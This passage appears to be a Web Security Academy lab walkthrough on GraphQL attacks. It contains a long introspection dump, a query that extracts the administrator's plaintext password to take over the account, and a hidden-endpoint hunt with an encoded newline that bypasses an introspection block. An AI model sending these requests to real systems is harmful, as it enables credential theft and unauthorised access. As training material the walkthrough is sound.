                "kind": "NON_NULL",
                "name": null,
                "ofType": {
                  "kind": "SCALAR",
                  "name": "Timestamp",
                  "ofType": null
                }
              },
              "isDeprecated": false,
              "deprecationReason": null
            },
            {
              "name": "summary",
              "description": null,
              "args": [],
              "type": {
                "kind": "NON_NULL",
                "name": null,
                "ofType": {
                  "kind": "SCALAR",
                  "name": "String",
                  "ofType": null
                }
              },
              "isDeprecated": false,
              "deprecationReason": null
            },
            {
              "name": "paragraphs",
              "description": null,
              "args": [],
              "type": {
                "kind": "NON_NULL",
                "name": null,
                "ofType": {
                  "kind": "LIST",
                  "name": null,
                  "ofType": {
                    "kind": "NON_NULL",
                    "name": null,
                    "ofType": {
                      "kind": "SCALAR",
                      "name": "String"
                    }
                  }
                }
              },
              "isDeprecated": false,
              "deprecationReason": null
            }
          ],
          "inputFields": null,
          "interfaces": [],
          "enumValues": null,
          "possibleTypes": null
        },
        {
          "kind": "SCALAR",
          "name": "Boolean",
          "description": "Built-in Boolean",
          "fields": null,
          "inputFields": null,
          "interfaces": null,
          "enumValues": null,
          "possibleTypes": null
        },
        {
          "kind": "INPUT_OBJECT",
          "name": "ChangeEmailInput",
          "description": null,
          "fields": null,
          "inputFields": [
            {
              "name": "email",
              "description": null,
              "type": {
                "kind": "NON_NULL",
                "name": null,
                "ofType": {
                  "kind": "SCALAR",
                  "name": "String",
                  "ofType": null
                }
              },
              "defaultValue": null
            }
          ],
          "interfaces": null,
          "enumValues": null,
          "possibleTypes": null
        },
        {
          "kind": "OBJECT",
          "name": "ChangeEmailResponse",
          "description": null,
          "fields": [
            {
              "name": "email",
              "description": null,
              "args": [],
              "type": {
                "kind": "NON_NULL",
                "name": null,
                "ofType": {
                  "kind": "SCALAR",
                  "name": "String",
                  "ofType": null
                }
              },
              "isDeprecated": false,
              "deprecationReason": null
            }
          ],
          "inputFields": null,
          "interfaces": [],
          "enumValues": null,
          "possibleTypes": null
        },
        {
          "kind": "SCALAR",
          "name": "Int",
          "description": "Built-in Int",
          "fields": null,
          "inputFields": null,
          "interfaces": null,
          "enumValues": null,
          "possibleTypes": null
        },
        {
          "kind": "INPUT_OBJECT",
          "name": "LoginInput",
          "description": null,
          "fields": null,
          "inputFields": [
            {
              "name": "username",
              "description": null,
              "type": {
                "kind": "NON_NULL",
                "name": null,
                "ofType": {
                  "kind": "SCALAR",
                  "name": "String",
                  "ofType": null
                }
              },
              "defaultValue": null
            },
            {
              "name": "password",
              "description": null,
              "type": {
                "kind": "NON_NULL",
                "name": null,
                "ofType": {
                  "kind": "SCALAR",
                  "name": "String",
                  "ofType": null
                }
              },
              "defaultValue": null
            }
          ],
          "interfaces": null,
          "enumValues": null,
          "possibleTypes": null
        },
        {
          "kind": "OBJECT",
          "name": "LoginResponse",
          "description": null,
          "fields": [
            {
              "name": "token",
              "description": null,
              "args": [],
              "type": {
                "kind": "NON_NULL",
                "name": null,
                "ofType": {
                  "kind": "SCALAR",
                  "name": "String",
                  "ofType": null
                }
              },
              "isDeprecated": false,
              "deprecationReason": null
            },
            {
              "name": "success",
              "description": null,
              "args": [],
              "type": {
                "kind": "NON_NULL",
                "name": null,
                "ofType": {
                  "kind": "SCALAR",
                  "name": "Boolean",
                  "ofType": null
                }
              },
              "isDeprecated": false,
              "deprecationReason": null
            }
          ],
          "inputFields": null,
          "interfaces": [],
          "enumValues": null,
          "possibleTypes": null
        },
        {
          "kind": "SCALAR",
          "name": "String",
          "description": "Built-in String",
          "fields": null,
          "inputFields": null,
          "interfaces": null,
          "enumValues": null,
          "possibleTypes": null
        },
        {
          "kind": "SCALAR",
          "name": "Timestamp",
          "description": "Timestamp scalar",
          "fields": null,
          "inputFields": null,
          "interfaces": null,
          "enumValues": null,
          "possibleTypes": null
        },
        {
          "kind": "OBJECT",
          "name": "User",
          "description": null,
          "fields": [
            {
              "name": "id",
              "description": null,
              "args": [],
              "type": {
                "kind": "NON_NULL",
                "name": null,
                "ofType": {
                  "kind": "SCALAR",
                  "name": "Int",
                  "ofType": null
                }
              },
              "isDeprecated": false,
              "deprecationReason": null
            },
            {
              "name": "username",
              "description": null,
              "args": [],
              "type": {
                "kind": "NON_NULL",
                "name": null,
                "ofType": {
                  "kind": "SCALAR",
                  "name": "String",
                  "ofType": null
                }
              },
              "isDeprecated": false,
              "deprecationReason": null
            },
            {
              "name": "password",
              "description": null,
              "args": [],
              "type": {
                "kind": "NON_NULL",
                "name": null,
                "ofType": {
                  "kind": "SCALAR",
                  "name": "String",
                  "ofType": null
                }
              },
              "isDeprecated": false,
              "deprecationReason": null
            }
          ],
          "inputFields": null,
          "interfaces": [],
          "enumValues": null,
          "possibleTypes": null
        },
        {
          "kind": "OBJECT",
          "name": "__Directive",
          "description": null,
          "fields": [
            {
              "name": "name",
              "description": "The __Directive type represents a Directive that a server supports.",
              "args": [],
              "type": {
                "kind": "NON_NULL",
                "name": null,
                "ofType": {
                  "kind": "SCALAR",
                  "name": "String",
                  "ofType": null
                }
              },
              "isDeprecated": false,
              "deprecationReason": null
            },
            {
              "name": "description",
              "description": null,
              "args": [],
              "type": {
                "kind": "SCALAR",
                "name": "String",
                "ofType": null
              },
              "isDeprecated": false,
              "deprecationReason": null
            },
            {
              "name": "isRepeatable",
              "description": null,
              "args": [],
              "type": {
                "kind": "NON_NULL",
                "name": null,
                "ofType": {
                  "kind": "SCALAR",
                  "name": "Boolean",
                  "ofType": null
                }
              },
              "isDeprecated": false,
              "deprecationReason": null
            },
            {
              "name": "locations",
              "description": null,
              "args": [],
              "type": {
                "kind": "NON_NULL",
                "name": null,
                "ofType": {
                  "kind": "LIST",
                  "name": null,
                  "ofType": {
                    "kind": "NON_NULL",
                    "name": null,
                    "ofType": {
                      "kind": "ENUM",
                      "name": "__DirectiveLocation"
                    }
                  }
                }
              },
              "isDeprecated": false,
              "deprecationReason": null
            },
            {
              "name": "args",
              "description": null,
              "args": [
                {
                  "name": "includeDeprecated",
                  "description": null,
                  "type": {
                    "kind": "SCALAR",
                    "name": "Boolean",
                    "ofType": null
                  },
                  "defaultValue": "false"
                }
              ],
              "type": {
                "kind": "NON_NULL",
                "name": null,
                "ofType": {
                  "kind": "LIST",
                  "name": null,
                  "ofType": {
                    "kind": "NON_NULL",
                    "name": null,
                    "ofType": {
                      "kind": "OBJECT",
                      "name": "__InputValue"
                    }
                  }
                }
              },
              "isDeprecated": false,
              "deprecationReason": null
            }
          ],
          "inputFields": null,
          "interfaces": [],
          "enumValues": null,
          "possibleTypes": null
        },
        {
          "kind": "ENUM",
          "name": "__DirectiveLocation",
          "description": "An enum describing valid locations where a directive can be placed",
          "fields": null,
          "inputFields": null,
          "interfaces": null,
          "enumValues": [
            {
              "name": "QUERY",
              "description": "Indicates the directive is valid on queries.",
              "isDeprecated": false,
              "deprecationReason": null
            },
            {
              "name": "MUTATION",
              "description": "Indicates the directive is valid on mutations.",
              "isDeprecated": false,
              "deprecationReason": null
            },
            {
              "name": "SUBSCRIPTION",
              "description": "Indicates the directive is valid on subscriptions.",
              "isDeprecated": false,
              "deprecationReason": null
            },
            {
              "name": "FIELD",
              "description": "Indicates the directive is valid on fields.",
              "isDeprecated": false,
              "deprecationReason": null
            },
            {
              "name": "FRAGMENT_DEFINITION",
              "description": "Indicates the directive is valid on fragment definitions.",
              "isDeprecated": false,
              "deprecationReason": null
            },
            {
              "name": "FRAGMENT_SPREAD",
              "description": "Indicates the directive is valid on fragment spreads.",
              "isDeprecated": false,
              "deprecationReason": null
            },
            {
              "name": "INLINE_FRAGMENT",
              "description": "Indicates the directive is valid on inline fragments.",
              "isDeprecated": false,
              "deprecationReason": null
            },
            {
              "name": "VARIABLE_DEFINITION",
              "description": "Indicates the directive is valid on variable definitions.",
              "isDeprecated": false,
              "deprecationReason": null
            },
            {
              "name": "SCHEMA",
              "description": "Indicates the directive is valid on a schema SDL definition.",
              "isDeprecated": false,
              "deprecationReason": null
            },
            {
              "name": "SCALAR",
              "description": "Indicates the directive is valid on a scalar SDL definition.",
              "isDeprecated": false,
              "deprecationReason": null
            },
            {
              "name": "OBJECT",
              "description": "Indicates the directive is valid on an object SDL definition.",
              "isDeprecated": false,
              "deprecationReason": null
            },
            {
              "name": "FIELD_DEFINITION",
              "description": "Indicates the directive is valid on a field SDL definition.",
              "isDeprecated": false,
              "deprecationReason": null
            },
            {
              "name": "ARGUMENT_DEFINITION",
              "description": "Indicates the directive is valid on a field argument SDL definition.",
              "isDeprecated": false,
              "deprecationReason": null
            },
            {
              "name": "INTERFACE",
              "description": "Indicates the directive is valid on an interface SDL definition.",
              "isDeprecated": false,
              "deprecationReason": null
            },
            {
              "name": "UNION",
              "description": "Indicates the directive is valid on an union SDL definition.",
              "isDeprecated": false,
              "deprecationReason": null
            },
            {
              "name": "ENUM",
              "description": "Indicates the directive is valid on an enum SDL definition.",
              "isDeprecated": false,
              "deprecationReason": null
            },
            {
              "name": "ENUM_VALUE",
              "description": "Indicates the directive is valid on an enum value SDL definition.",
              "isDeprecated": false,
              "deprecationReason": null
            },
            {
              "name": "INPUT_OBJECT",
              "description": "Indicates the directive is valid on an input object SDL definition.",
              "isDeprecated": false,
              "deprecationReason": null
            },
            {
              "name": "INPUT_FIELD_DEFINITION",
              "description": "Indicates the directive is valid on an input object field SDL definition.",
              "isDeprecated": false,
              "deprecationReason": null
            }
          ],
          "possibleTypes": null
        },
        {
          "kind": "OBJECT",
          "name": "__EnumValue",
          "description": null,
          "fields": [
            {
              "name": "name",
              "description": null,
              "args": [],
              "type": {
                "kind": "NON_NULL",
                "name": null,
                "ofType": {
                  "kind": "SCALAR",
                  "name": "String",
                  "ofType": null
                }
              },
              "isDeprecated": false,
              "deprecationReason": null
            },
            {
              "name": "description",
              "description": null,
              "args": [],
              "type": {
                "kind": "SCALAR",
                "name": "String",
                "ofType": null
              },
              "isDeprecated": false,
              "deprecationReason": null
            },
            {
              "name": "isDeprecated",
              "description": null,
              "args": [],
              "type": {
                "kind": "NON_NULL",
                "name": null,
                "ofType": {
                  "kind": "SCALAR",
                  "name": "Boolean",
                  "ofType": null
                }
              },
              "isDeprecated": false,
              "deprecationReason": null
            },
            {
              "name": "deprecationReason",
              "description": null,
              "args": [],
              "type": {
                "kind": "SCALAR",
                "name": "String",
                "ofType": null
              },
              "isDeprecated": false,
              "deprecationReason": null
            }
          ],
          "inputFields": null,
          "interfaces": [],
          "enumValues": null,
          "possibleTypes": null
        },
        {
          "kind": "OBJECT",
          "name": "__Field",
          "description": null,
          "fields": [
            {
              "name": "name",
              "description": null,
              "args": [],
              "type": {
                "kind": "NON_NULL",
                "name": null,
                "ofType": {
                  "kind": "SCALAR",
                  "name": "String",
                  "ofType": null
                }
              },
              "isDeprecated": false,
              "deprecationReason": null
            },
            {
              "name": "description",
              "description": null,
              "args": [],
              "type": {
                "kind": "SCALAR",
                "name": "String",
                "ofType": null
              },
              "isDeprecated": false,
              "deprecationReason": null
            },
            {
              "name": "args",
              "description": null,
              "args": [
                {
                  "name": "includeDeprecated",
                  "description": null,
                  "type": {
                    "kind": "SCALAR",
                    "name": "Boolean",
                    "ofType": null
                  },
                  "defaultValue": "false"
                }
              ],
              "type": {
                "kind": "NON_NULL",
                "name": null,
                "ofType": {
                  "kind": "LIST",
                  "name": null,
                  "ofType": {
                    "kind": "NON_NULL",
                    "name": null,
                    "ofType": {
                      "kind": "OBJECT",
                      "name": "__InputValue"
                    }
                  }
                }
              },
              "isDeprecated": false,
              "deprecationReason": null
            },
            {
              "name": "type",
              "description": null,
              "args": [],
              "type": {
                "kind": "NON_NULL",
                "name": null,
                "ofType": {
                  "kind": "OBJECT",
                  "name": "__Type",
                  "ofType": null
                }
              },
              "isDeprecated": false,
              "deprecationReason": null
            },
            {
              "name": "isDeprecated",
              "description": null,
              "args": [],
              "type": {
                "kind": "NON_NULL",
                "name": null,
                "ofType": {
                  "kind": "SCALAR",
                  "name": "Boolean",
                  "ofType": null
                }
              },
              "isDeprecated": false,
              "deprecationReason": null
            },
            {
              "name": "deprecationReason",
              "description": null,
              "args": [],
              "type": {
                "kind": "SCALAR",
                "name": "String",
                "ofType": null
              },
              "isDeprecated": false,
              "deprecationReason": null
            }
          ],
          "inputFields": null,
          "interfaces": [],
          "enumValues": null,
          "possibleTypes": null
        },
        {
          "kind": "OBJECT",
          "name": "__InputValue",
          "description": null,
          "fields": [
            {
              "name": "name",
              "description": null,
              "args": [],
              "type": {
                "kind": "NON_NULL",
                "name": null,
                "ofType": {
                  "kind": "SCALAR",
                  "name": "String",
                  "ofType": null
                }
              },
              "isDeprecated": false,
              "deprecationReason": null
            },
            {
              "name": "description",
              "description": null,
              "args": [],
              "type": {
                "kind": "SCALAR",
                "name": "String",
                "ofType": null
              },
              "isDeprecated": false,
              "deprecationReason": null
            },
            {
              "name": "type",
              "description": null,
              "args": [],
              "type": {
                "kind": "NON_NULL",
                "name": null,
                "ofType": {
                  "kind": "OBJECT",
                  "name": "__Type",
                  "ofType": null
                }
              },
              "isDeprecated": false,
              "deprecationReason": null
            },
            {
              "name": "defaultValue",
              "description": null,
              "args": [],
              "type": {
                "kind": "SCALAR",
                "name": "String",
                "ofType": null
              },
              "isDeprecated": false,
              "deprecationReason": null
            },
            {
              "name": "isDeprecated",
              "description": null,
              "args": [],
              "type": {
                "kind": "SCALAR",
                "name": "Boolean",
                "ofType": null
              },
              "isDeprecated": false,
              "deprecationReason": null
            },
            {
              "name": "deprecationReason",
              "description": null,
              "args": [],
              "type": {
                "kind": "SCALAR",
                "name": "String",
                "ofType": null
              },
              "isDeprecated": false,
              "deprecationReason": null
            }
          ],
          "inputFields": null,
          "interfaces": [],
          "enumValues": null,
          "possibleTypes": null
        },
        {
          "kind": "OBJECT",
          "name": "__Schema",
          "description": "A GraphQL Introspection defines the capabilities of a GraphQL server. It exposes all available types and directives on the server, the entry points for query, mutation, and subscription operations.",
          "fields": [
            {
              "name": "description",
              "description": null,
              "args": [],
              "type": {
                "kind": "SCALAR",
                "name": "String",
                "ofType": null
              },
              "isDeprecated": false,
              "deprecationReason": null
            },
            {
              "name": "types",
              "description": "A list of all types supported by this server.",
              "args": [],
              "type": {
                "kind": "NON_NULL",
                "name": null,
                "ofType": {
                  "kind": "LIST",
                  "name": null,
                  "ofType": {
                    "kind": "NON_NULL",
                    "name": null,
                    "ofType": {
                      "kind": "OBJECT",
                      "name": "__Type"
                    }
                  }
                }
              },
              "isDeprecated": false,
              "deprecationReason": null
            },
            {
              "name": "queryType",
              "description": "The type that query operations will be rooted at.",
              "args": [],
              "type": {
                "kind": "NON_NULL",
                "name": null,
                "ofType": {
                  "kind": "OBJECT",
                  "name": "__Type",
                  "ofType": null
                }
              },
              "isDeprecated": false,
              "deprecationReason": null
            },
            {
              "name": "mutationType",
              "description": "If this server supports mutation, the type that mutation operations will be rooted at.",
              "args": [],
              "type": {
                "kind": "OBJECT",
                "name": "__Type",
                "ofType": null
              },
              "isDeprecated": false,
              "deprecationReason": null
            },
            {
              "name": "directives",
              "description": "'A list of all directives supported by this server.",
              "args": [],
              "type": {
                "kind": "NON_NULL",
                "name": null,
                "ofType": {
                  "kind": "LIST",
                  "name": null,
                  "ofType": {
                    "kind": "NON_NULL",
                    "name": null,
                    "ofType": {
                      "kind": "OBJECT",
                      "name": "__Directive"
                    }
                  }
                }
              },
              "isDeprecated": false,
              "deprecationReason": null
            },
            {
              "name": "subscriptionType",
              "description": "'If this server support subscription, the type that subscription operations will be rooted at.",
              "args": [],
              "type": {
                "kind": "OBJECT",
                "name": "__Type",
                "ofType": null
              },
              "isDeprecated": false,
              "deprecationReason": null
            }
          ],
          "inputFields": null,
          "interfaces": [],
          "enumValues": null,
          "possibleTypes": null
        },
        {
          "kind": "OBJECT",
          "name": "__Type",
          "description": null,
          "fields": [
            {
              "name": "kind",
              "description": null,
              "args": [],
              "type": {
                "kind": "NON_NULL",
                "name": null,
                "ofType": {
                  "kind": "ENUM",
                  "name": "__TypeKind",
                  "ofType": null
                }
              },
              "isDeprecated": false,
              "deprecationReason": null
            },
            {
              "name": "name",
              "description": null,
              "args": [],
              "type": {
                "kind": "SCALAR",
                "name": "String",
                "ofType": null
              },
              "isDeprecated": false,
              "deprecationReason": null
            },
            {
              "name": "description",
              "description": null,
              "args": [],
              "type": {
                "kind": "SCALAR",
                "name": "String",
                "ofType": null
              },
              "isDeprecated": false,
              "deprecationReason": null
            },
            {
              "name": "fields",
              "description": null,
              "args": [
                {
                  "name": "includeDeprecated",
                  "description": null,
                  "type": {
                    "kind": "SCALAR",
                    "name": "Boolean",
                    "ofType": null
                  },
                  "defaultValue": "false"
                }
              ],
              "type": {
                "kind": "LIST",
                "name": null,
                "ofType": {
                  "kind": "NON_NULL",
                  "name": null,
                  "ofType": {
                    "kind": "OBJECT",
                    "name": "__Field",
                    "ofType": null
                  }
                }
              },
              "isDeprecated": false,
              "deprecationReason": null
            },
            {
              "name": "interfaces",
              "description": null,
              "args": [],
              "type": {
                "kind": "LIST",
                "name": null,
                "ofType": {
                  "kind": "NON_NULL",
                  "name": null,
                  "ofType": {
                    "kind": "OBJECT",
                    "name": "__Type",
                    "ofType": null
                  }
                }
              },
              "isDeprecated": false,
              "deprecationReason": null
            },
            {
              "name": "possibleTypes",
              "description": null,
              "args": [],
              "type": {
                "kind": "LIST",
                "name": null,
                "ofType": {
                  "kind": "NON_NULL",
                  "name": null,
                  "ofType": {
                    "kind": "OBJECT",
                    "name": "__Type",
                    "ofType": null
                  }
                }
              },
              "isDeprecated": false,
              "deprecationReason": null
            },
            {
              "name": "enumValues",
              "description": null,
              "args": [
                {
                  "name": "includeDeprecated",
                  "description": null,
                  "type": {
                    "kind": "SCALAR",
                    "name": "Boolean",
                    "ofType": null
                  },
                  "defaultValue": "false"
                }
              ],
              "type": {
                "kind": "LIST",
                "name": null,
                "ofType": {
                  "kind": "NON_NULL",
                  "name": null,
                  "ofType": {
                    "kind": "OBJECT",
                    "name": "__EnumValue",
                    "ofType": null
                  }
                }
              },
              "isDeprecated": false,
              "deprecationReason": null
            },
            {
              "name": "inputFields",
              "description": null,
              "args": [
                {
                  "name": "includeDeprecated",
                  "description": null,
                  "type": {
                    "kind": "SCALAR",
                    "name": "Boolean",
                    "ofType": null
                  },
                  "defaultValue": "false"
                }
              ],
              "type": {
                "kind": "LIST",
                "name": null,
                "ofType": {
                  "kind": "NON_NULL",
                  "name": null,
                  "ofType": {
                    "kind": "OBJECT",
                    "name": "__InputValue",
                    "ofType": null
                  }
                }
              },
              "isDeprecated": false,
              "deprecationReason": null
            },
            {
              "name": "ofType",
              "description": null,
              "args": [],
              "type": {
                "kind": "OBJECT",
                "name": "__Type",
                "ofType": null
              },
              "isDeprecated": false,
              "deprecationReason": null
            },
            {
              "name": "specifiedByURL",
              "description": null,
              "args": [],
              "type": {
                "kind": "SCALAR",
                "name": "String",
                "ofType": null
              },
              "isDeprecated": false,
              "deprecationReason": null
            },
            {
              "name": "specifiedByUrl",
              "description": null,
              "args": [],
              "type": {
                "kind": "SCALAR",
                "name": "String",
                "ofType": null
              },
              "isDeprecated": true,
              "deprecationReason": "This legacy name has been replaced by `specifiedByURL`"
            }
          ],
          "inputFields": null,
          "interfaces": [],
          "enumValues": null,
          "possibleTypes": null
        },
        {
          "kind": "ENUM",
          "name": "__TypeKind",
          "description": "An enum describing what kind of type a given __Type is",
          "fields": null,
          "inputFields": null,
          "interfaces": null,
          "enumValues": [
            {
              "name": "SCALAR",
              "description": "Indicates this type is a scalar. 'specifiedByURL' is a valid field",
              "isDeprecated": false,
              "deprecationReason": null
            },
            {
              "name": "OBJECT",
              "description": "Indicates this type is an object. `fields` and `interfaces` are valid fields.",
              "isDeprecated": false,
              "deprecationReason": null
            },
            {
              "name": "INTERFACE",
              "description": "Indicates this type is an interface. `fields` and `possibleTypes` are valid fields.",
              "isDeprecated": false,
              "deprecationReason": null
            },
            {
              "name": "UNION",
              "description": "Indicates this type is a union. `possibleTypes` is a valid field.",
              "isDeprecated": false,
              "deprecationReason": null
            },
            {
              "name": "ENUM",
              "description": "Indicates this type is an enum. `enumValues` is a valid field.",
              "isDeprecated": false,
              "deprecationReason": null
            },
            {
              "name": "INPUT_OBJECT",
              "description": "Indicates this type is an input object. `inputFields` is a valid field.",
              "isDeprecated": false,
              "deprecationReason": null
            },
            {
              "name": "LIST",
              "description": "Indicates this type is a list. `ofType` is a valid field.",
              "isDeprecated": false,
              "deprecationReason": null
            },
            {
              "name": "NON_NULL",
              "description": "Indicates this type is a non-null. `ofType` is a valid field.",
              "isDeprecated": false,
              "deprecationReason": null
            }
          ],
          "possibleTypes": null
        },
        {
          "kind": "OBJECT",
          "name": "mutation",
          "description": null,
          "fields": [
            {
              "name": "login",
              "description": null,
              "args": [
                {
                  "name": "input",
                  "description": null,
                  "type": {
                    "kind": "INPUT_OBJECT",
                    "name": "LoginInput",
                    "ofType": null
                  },
                  "defaultValue": null
                }
              ],
              "type": {
                "kind": "OBJECT",
                "name": "LoginResponse",
                "ofType": null
              },
              "isDeprecated": false,
              "deprecationReason": null
            },
            {
              "name": "changeEmail",
              "description": null,
              "args": [
                {
                  "name": "input",
                  "description": null,
                  "type": {
                    "kind": "INPUT_OBJECT",
                    "name": "ChangeEmailInput",
                    "ofType": null
                  },
                  "defaultValue": null
                }
              ],
              "type": {
                "kind": "OBJECT",
                "name": "ChangeEmailResponse",
                "ofType": null
              },
              "isDeprecated": false,
              "deprecationReason": null
            }
          ],
          "inputFields": null,
          "interfaces": [],
          "enumValues": null,
          "possibleTypes": null
        },
        {
          "kind": "OBJECT",
          "name": "query",
          "description": null,
          "fields": [
            {
              "name": "getBlogPost",
              "description": null,
              "args": [
                {
                  "name": "id",
                  "description": null,
                  "type": {
                    "kind": "NON_NULL",
                    "name": null,
                    "ofType": {
                      "kind": "SCALAR",
                      "name": "Int",
                      "ofType": null
                    }
                  },
                  "defaultValue": null
                }
              ],
              "type": {
                "kind": "OBJECT",
                "name": "BlogPost",
                "ofType": null
              },
              "isDeprecated": false,
              "deprecationReason": null
            },
            {
              "name": "getAllBlogPosts",
              "description": null,
              "args": [],
              "type": {
                "kind": "NON_NULL",
                "name": null,
                "ofType": {
                  "kind": "LIST",
                  "name": null,
                  "ofType": {
                    "kind": "NON_NULL",
                    "name": null,
                    "ofType": {
                      "kind": "OBJECT",
                      "name": "BlogPost"
                    }
                  }
                }
              },
              "isDeprecated": false,
              "deprecationReason": null
            },
            {
              "name": "getUser",
              "description": null,
              "args": [
                {
                  "name": "id",
                  "description": null,
                  "type": {
                    "kind": "NON_NULL",
                    "name": null,
                    "ofType": {
                      "kind": "SCALAR",
                      "name": "Int",
                      "ofType": null
                    }
                  },
                  "defaultValue": null
                }
              ],
              "type": {
                "kind": "OBJECT",
                "name": "User",
                "ofType": null
              },
              "isDeprecated": false,
              "deprecationReason": null
            }
          ],
          "inputFields": null,
          "interfaces": [],
          "enumValues": null,
          "possibleTypes": null
        }
      ],
      "directives": [
        {
          "name": "include",
          "description": "Directs the executor to include this field or fragment only when the `if` argument is true",
          "args": [
            {
              "name": "if",
              "description": "Included when true.",
              "type": {
                "kind": "NON_NULL",
                "name": null,
                "ofType": {
                  "kind": "SCALAR",
                  "name": "Boolean",
                  "ofType": null
                }
              },
              "defaultValue": null
            }
          ]
        },
        {
          "name": "skip",
          "description": "Directs the executor to skip this field or fragment when the `if` argument is true.",
          "args": [
            {
              "name": "if",
              "description": "Skipped when true.",
              "type": {
                "kind": "NON_NULL",
                "name": null,
                "ofType": {
                  "kind": "SCALAR",
                  "name": "Boolean",
                  "ofType": null
                }
              },
              "defaultValue": null
            }
          ]
        },
        {
          "name": "deprecated",
          "description": "Marks the field, argument, input field or enum value as deprecated",
          "args": [
            {
              "name": "reason",
              "description": "The reason for the deprecation",
              "type": {
                "kind": "SCALAR",
                "name": "String",
                "ofType": null
              },
              "defaultValue": "\"No longer supported\""
            }
          ]
        },
        {
          "name": "specifiedBy",
          "description": "Exposes a URL that specifies the behaviour of this scalar.",
          "args": [
            {
              "name": "url",
              "description": "The URL that specifies the behaviour of this scalar.",
              "type": {
                "kind": "NON_NULL",
                "name": null,
                "ofType": {
                  "kind": "SCALAR",
                  "name": "String",
                  "ofType": null
                }
              },
              "defaultValue": null
            }
          ]
        }
      ]
    }
  }
}

Paste the result (removing server HTTP headers) in the GraphQL Visualizer or InQL extension. We find these queries:

  • getAllBlogPosts
  • getBlogPost
  • getUser

Query users

Use the getUser(id: x) query on user id 1 to get the password. The administrator is often the first user in a system.

POST /graphql/v1 HTTP/2
Host: <LAB ID>.web-security-academy.net
[...]
Content-Type: application/json
[...]

{"query":"query MyPreciousQuery {\ngetUser(id:1) {\npassword \n id \nusername}}"}
HTTP/2 200 OK
Content-Type: application/json; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 133

{
  "data": {
    "getUser": {
      "password": "97x59p7figdabihv8cry",
      "id": 1,
      "username": "administrator"
    }
  }
}
  • Click on My account and log in using credentials administrator/97x59p7figdabihv8cry
  • Click on Admin panel
  • Click on Delete beside user carlos to solve the lab

Practitioner – Finding a hidden GraphQL endpoint

The user management functions for this lab are powered by a hidden GraphQL endpoint. You won’t be able to find this endpoint by simply clicking pages in the site. The endpoint also has some defenses against introspection. To solve the lab, find the hidden endpoint and delete Carlos.

Send a POST request to the Intruder module to find the GraphQL endoint.

POST §whatever§ HTTP/1.1
Host: <LAB>.web-security-academy.net
[...]
Content-Type: application/json
Content-Length: 31


"query":"query{__typename}"

Use this simple list and do not URL encode characters.

/graphql
/api
/api/graphql
/graphql/api
/graphql/graphql
/graphql/v1
/api/v1
/api/graphql/v1
/graphql/api/v1
/graphql/graphql/v1

All responses are 404 Not Found except one to /api that responds with 405 Method Not Allowed.

OPTIONS /api HTTP/1.1
Host: <LAB ID>.web-security-academy.net
[...]
HTTP/1.1 405 Method Not Allowed
Allow: GET
Content-Type: application/json; charset=utf-8
X-Frame-Options: SAMEORIGIN
Connection: close
Content-Length: 20

"Method Not Allowed"

The GET method is allowed. Send the same request using GET:

GET /api?query=query{__typename} HTTP/1.1
Host: <LAB ID>.web-security-academy.net
[..]
HTTP/1.1 200 OK
Content-Type: application/json; charset=utf-8
X-Frame-Options: SAMEORIGIN
Connection: close
Content-Length: 45

{
  "data": {
    "__typename": "query"
  }
}

Send a probe request

Sending a regular probe request will result in error:

GraphQL introspection is not allowed, but the query contained __schema or __type

Bypass the validation.

GET /api?query=query%7B__schema%0A%7BqueryType%7Bname%7D%7D%7D HTTP/1.1
Host: <LAB ID>.web-security-academy.net
[...]
HTTP/1.1 200 OK
Content-Type: application/json; charset=utf-8
X-Frame-Options: SAMEORIGIN
Connection: close
Content-Length: 96

{
  "data": {
    "__schema": {
      "queryType": {
        "name": "query"
      }
    }
  }
}

Send the full introspection request

Bypass using %0A for carriage return, remove spaces, replace {} with %7B and %7D respectively.

GET /api?query=query%20IntrospectionQuery%7B%0A__schema%0A%7B%0AqueryType%7B%0Aname%0A%7D%0AmutationType%7B%0Aname%0A%7D%0AsubscriptionType%7B%0Aname%0A%7D%0Atypes%7B%0A...FullType%0A%7D%0Adirectives%7B%0Aname%0Adescription%0Aargs%7B%0A...InputValue%0A%7D%0A%7D%0A%7D%0A%7D%0Afragment%20FullType%20on%20__Type%7B%0Akind%0Aname%0Adescription%0Afields(includeDeprecated:true)%7B%0Aname%0Adescription%0Aargs%7B%0A...InputValue%0A%7D%0Atype%7B%0A...TypeRef%0A%7D%0AisDeprecated%0AdeprecationReason%0A%7D%0AinputFields%7B%0A...InputValue%0A%7D%0Ainterfaces%7B%0A...TypeRef%0A%7D%0AenumValues(includeDeprecated:true)%7B%0Aname%0Adescription%0AisDeprecated%0AdeprecationReason%0A%7D%0ApossibleTypes%7B%0A...TypeRef%0A%7D%0A%7D%0Afragment%20InputValue%20on%20__InputValue%7B%0Aname%0Adescription%0Atype%7B%0A...TypeRef%0A%7D%0AdefaultValue%0A%7D%0A%0Afragment%20TypeRef%20on%20__Type%7B%0Akind%0Aname%0AofType%7B%0Akind%0Aname%0AofType%7B%0Akind%0Aname%0AofType%7B%0Akind%0Aname%0A%7D%0A%7D%0A%7D%0A%7D HTTP/1.1
Host: <LAB ID>.web-security-academy.net
[...]
HTTP/1.1 200 OK
Content-Type: application/json; charset=utf-8
X-Frame-Options: SAMEORIGIN
Connection: close
Content-Length: 36167

{
  "data": {
    "__schema": {
      "queryType": {
        "name": "query"
      },
      "mutationType": {
        "name": "mutation"
      },
      "subscriptionType": null,
      "types": [
        {
          "kind": "SCALAR",
          "name": "Boolean",
          "description": "Built-in Boolean",
          "fields": null,
          "inputFields": null,
          "interfaces": null,
          "enumValues": null,
          "possibleTypes": null
        },
        {
          "kind": "INPUT_OBJECT",
          "name": "DeleteOrganizationUserInput",
          "description": null,
          "fields": null,
          "inputFields": [
            {
              "name": "id",
              "description": null,
              "type": {
                "kind": "NON_NULL",
                "name": null,
                "ofType": {
                  "kind": "SCALAR",
                  "name": "Int",
                  "ofType": null
                }
              },
              "defaultValue": null
            }
          ],
          "interfaces": null,
          "enumValues": null,
          "possibleTypes": null
        },
        {
          "kind": "OBJECT",
          "name": "DeleteOrganizationUserResponse",
          "description": null,
          "fields": [
            {
              "name": "user",
              "description": null,
              "args": [],
              "type": {
                "kind": "NON_NULL",
                "name": null,
                "ofType": {
                  "kind": "OBJECT",
                  "name": "User",
                  "ofType": null
                }
              },
              "isDeprecated": false,
              "deprecationReason": null
            }
          ],
          "inputFields": null,
          "interfaces": [],
          "enumValues": null,
          "possibleTypes": null
        },
        {
          "kind": "SCALAR",
          "name": "Int",
          "description": "Built-in Int",
          "fields": null,
          "inputFields": null,
          "interfaces": null,
          "enumValues": null,
          "possibleTypes": null
        },
        {
          "kind": "SCALAR",
